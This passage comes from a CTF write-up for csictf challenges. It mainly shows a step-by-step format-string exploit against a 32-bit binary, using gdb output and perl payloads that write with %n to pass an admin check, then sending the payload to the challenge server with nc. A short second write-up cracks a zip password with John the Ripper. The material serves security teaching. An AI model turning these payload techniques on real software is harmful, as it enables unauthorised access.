0x804c02c You cannot login as admin.``` And we might have to write this a character at a time, so let's queue up the other 3 addresses for this 4-byte word. ```kali@kali:~/Downloads$ perl -e 'print "\x2c\xc0\x04\x08\x2d\xc0\x04\x08\x2e\xc0\x04\x08\x2f\xc0\x04\x08 %12\$p %13\$p %14\$p %15\$p"' | ./global-warming,-./ 0x804c02c 0x804c02d 0x804c02e 0x804c02fYou cannot login as admin.``` Now we need to use `gdb` to set a breakpoint on the comparison at `0x080491cc` to see how we manipulate the value in `eax`. ```gefโžค disas loginDump of assembler code for function login: 0x080491a6 <+0>: push ebp 0x080491a7 <+1>: mov ebp,esp 0x080491a9 <+3>: push ebx 0x080491aa <+4>: sub esp,0x4 0x080491ad <+7>: call 0x80490e0 <__x86.get_pc_thunk.bx> 0x080491b2 <+12>: add ebx,0x2e4e 0x080491b8 <+18>: sub esp,0xc 0x080491bb <+21>: push DWORD PTR [ebp+0xc] 0x080491be <+24>: call 0x8049050 <printf@plt> 0x080491c3 <+29>: add esp,0x10 0x080491c6 <+32>: mov eax,DWORD PTR [ebx+0x2c] 0x080491cc <+38>: cmp eax,0xb4dbabe3 0x080491d1 <+43>: jne 0x80491e7 <login+65> 0x080491d3 <+45>: sub esp,0xc 0x080491d6 <+48>: lea eax,[ebx-0x1ff8] 0x080491dc <+54>: push eax 0x080491dd <+55>: call 0x8049070 <system@plt> 0x080491e2 <+60>: add esp,0x10 0x080491e5 <+63>: jmp 0x80491f9 <login+83> 0x080491e7 <+65>: sub esp,0xc 0x080491ea <+68>: lea eax,[ebx-0x1feb] 0x080491f0 <+74>: push eax 0x080491f1 <+75>: call 0x8049050 <printf@plt> 0x080491f6 <+80>: add esp,0x10 0x080491f9 <+83>: nop 0x080491fa <+84>: mov ebx,DWORD PTR [ebp-0x4] 0x080491fd <+87>: leave 0x080491fe <+88>: ret End of assembler dump.gefโžค break *0x080491ccBreakpoint 2 at 0x80491cc``` We can use the `%n` formatter to write to the address at the beginning of the string. It took some trial-and-error to get the value right, but `%.43985d` adds just enough characters to write `0xabe3` into `0x804c02c`. ```kali@kali:~/Downloads$ perl -e 'print "\x2c\xc0\x04\x08\x2d\xc0\x04\x08\x2e\xc0\x04\x08\x2f\xc0\x04\x08 %.43985d%12\$n"' > global-pwning.txt ``` See the value of `eax` at our breakpoint: ```gefโžค r < global-pwning.txtStarting program: /home/kali/Downloads/global-warming < global-pwning.txt Breakpoint 2, 0x080491cc in login () [ Legend: Modified register | Code | Heap | Stack | String ]โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€ registers โ”€โ”€โ”€โ”€$eax : 0xabe3 $ebx : 0x0804c000 โ†’ 0x0804bf00 โ†’ 0x00000001$ecx : 0xffffffff$edx : 0xbe3 $esp : 0xffffca90 โ†’ 0xf7fb3000 โ†’ 0x001dfd6c$ebp : 0xffffca98 โ†’ 0xffffceb8 โ†’ 0x00000000$esi : 0xf7fb3000 โ†’ 0x001dfd6c$edi : 0xf7fb3000 โ†’ 0x001dfd6c$eip : 0x080491cc โ†’ <login+38> cmp eax, 0xb4dbabe3$eflags: [zero carry PARITY adjust SIGN trap INTERRUPT direction overflow resume virtualx86 identification]$cs: 0x0023 $ss: 0x002b $ds: 0x002b $es: 0x002b $fs: 0x0000 $gs: 0x0063 โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€ stack โ”€โ”€โ”€โ”€0xffffca90โ”‚+0x0000: 0xf7fb3000 โ†’ 0x001dfd6c โ† $esp0xffffca94โ”‚+0x0004: 0x0804c000 โ†’ 0x0804bf00 โ†’ 0x000000010xffffca98โ”‚+0x0008: 0xffffceb8 โ†’ 0x00000000 โ† $ebp0xffffca9cโ”‚+0x000c: 0x08049297 โ†’ <main+152> add esp, 0x100xffffcaa0โ”‚+0x0010: 0x0804a030 โ†’ "User"0xffffcaa4โ”‚+0x0014: 0xffffcab0 โ†’ 0x0804c02c โ†’ 0x0000abe30xffffcaa8โ”‚+0x0018: 0xf7fb3580 โ†’ 0xfbad209b0xffffcaacโ”‚+0x001c: 0x08049219 โ†’ <main+26> add ebx, 0x2de7โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€ code:x86:32 โ”€โ”€โ”€โ”€ 0x80491be <login+24> call 0x8049050 <printf@plt> 0x80491c3 <login+29> add esp, 0x10 0x80491c6 <login+32> mov eax, DWORD PTR [ebx+0x2c] โ†’ 0x80491cc <login+38> cmp eax, 0xb4dbabe3 0x80491d1 <login+43> jne 0x80491e7 <login+65> 0x80491d3 <login+45> sub esp, 0xc 0x80491d6 <login+48> lea eax, [ebx-0x1ff8] 0x80491dc <login+54> push eax 0x80491dd <login+55> call 0x8049070 <system@plt>โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€ threads โ”€โ”€โ”€โ”€[#0] Id 1, Name: "global-warming", stopped 0x80491cc in login (), reason: BREAKPOINTโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€ trace โ”€โ”€โ”€โ”€[#0] 0x80491cc โ†’ login()[#1] 0x8049297 โ†’ main()โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€gefโžค ``` ## Solution We're almost there, now we just have to write the next 2 bytes with the value `0xb4db`. A little more trial-and-error to find the right value gives us `%.2294d`. We write the value to `0x804c02c`. ```kali@kali:~/Downloads$ perl -e 'print "\x2c\xc0\x04\x08\x2d\xc0\x04\x08\x2e\xc0\x04\x08\x2f\xc0\x04\x08 %.43985d%12\$n %.2294d%14\$n"' > global-pwning.txt``` See the value of `eax` at our breakpoint: ```gefโžค r < global-pwning.txtStarting program: /home/kali/Downloads/global-warming < global-pwning.txt Breakpoint 2, 0x080491cc in login () [ Legend: Modified register | Code | Heap | Stack | String ]โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€ registers โ”€โ”€โ”€โ”€$eax : 0xb4dbabe3$ebx : 0x0804c000 โ†’ 0x0804bf00 โ†’ 0x00000001$ecx : 0xffffffff$edx : 0x14db $esp : 0xffffca90 โ†’ 0xf7fb3000 โ†’ 0x001dfd6c$ebp : 0xffffca98 โ†’ 0xffffceb8 โ†’ 0x00000000$esi : 0xf7fb3000 โ†’ 0x001dfd6c$edi : 0xf7fb3000 โ†’ 0x001dfd6c$eip : 0x080491cc โ†’ <login+38> cmp eax, 0xb4dbabe3$eflags: [zero carry PARITY adjust SIGN trap INTERRUPT direction overflow resume virtualx86 identification]$cs: 0x0023 $ss: 0x002b $ds: 0x002b $es: 0x002b $fs: 0x0000 $gs: 0x0063 โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€ stack โ”€โ”€โ”€โ”€0xffffca90โ”‚+0x0000: 0xf7fb3000 โ†’ 0x001dfd6c โ† $esp0xffffca94โ”‚+0x0004: 0x0804c000 โ†’ 0x0804bf00 โ†’ 0x000000010xffffca98โ”‚+0x0008: 0xffffceb8 โ†’ 0x00000000 โ† $ebp0xffffca9cโ”‚+0x000c: 0x08049297 โ†’ <main+152> add esp, 0x100xffffcaa0โ”‚+0x0010: 0x0804a030 โ†’ "User"0xffffcaa4โ”‚+0x0014: 0xffffcab0 โ†’ 0x0804c02c โ†’ 0xb4dbabe30xffffcaa8โ”‚+0x0018: 0xf7fb3580 โ†’ 0xfbad209b0xffffcaacโ”‚+0x001c: 0x08049219 โ†’ <main+26> add ebx, 0x2de7โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€ code:x86:32 โ”€โ”€โ”€โ”€ 0x80491be <login+24> call 0x8049050 <printf@plt> 0x80491c3 <login+29> add esp, 0x10 0x80491c6 <login+32> mov eax, DWORD PTR [ebx+0x2c] โ†’ 0x80491cc <login+38> cmp eax, 0xb4dbabe3 0x80491d1 <login+43> jne 0x80491e7 <login+65> 0x80491d3 <login+45> sub esp, 0xc 0x80491d6 <login+48> lea eax, [ebx-0x1ff8] 0x80491dc <login+54> push eax 0x80491dd <login+55> call 0x8049070 <system@plt>โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€ threads โ”€โ”€โ”€โ”€[#0] Id 1, Name: "global-warming", stopped 0x80491cc in login (), reason: BREAKPOINTโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€ trace โ”€โ”€โ”€โ”€[#0] 0x80491cc โ†’ login()[#1] 0x8049297 โ†’ main()โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€gefโžค ``` After continuing, it passes the comparison and gives us the flag! ```gefโžค cContinuing.[Detaching after vfork from child process 374101]flag[Inferior 1 (process 374099) exited normally]gefโžค``` Now run this exploit against the remote server to get the real flag: ```kali@kali:~/Downloads$ perl -e 'print "\x2c\xc0\x04\x08\x2d\xc0\x04\x08\x2e\xc0\x04\x08\x2f\xc0\x04\x08 %.43985d%12\$n %.2294d%14\$n\n"' | nc chall.csivit.com 30023 | tail -1csictf{n0_5tr1ng5_@tt@ch3d}```
### Detailed writeup on my [github](https://github.com/DaBaddest/CTF-Writeups/tree/master/Csisctf/Panda) Crack zip passwords using:```zip2john panda.zip > hash.txtjohn.exe --wordlist=real_human hash.txt```Then run this **one-liner**:```print(''.join([chr(i) for i, j in zip(open('panda1.jpg', 'rb').read(), open('panda.jpg', 'rb').read()) if i!= j]))```Which gives us the flag:```csictf{kung_fu_p4nd4}```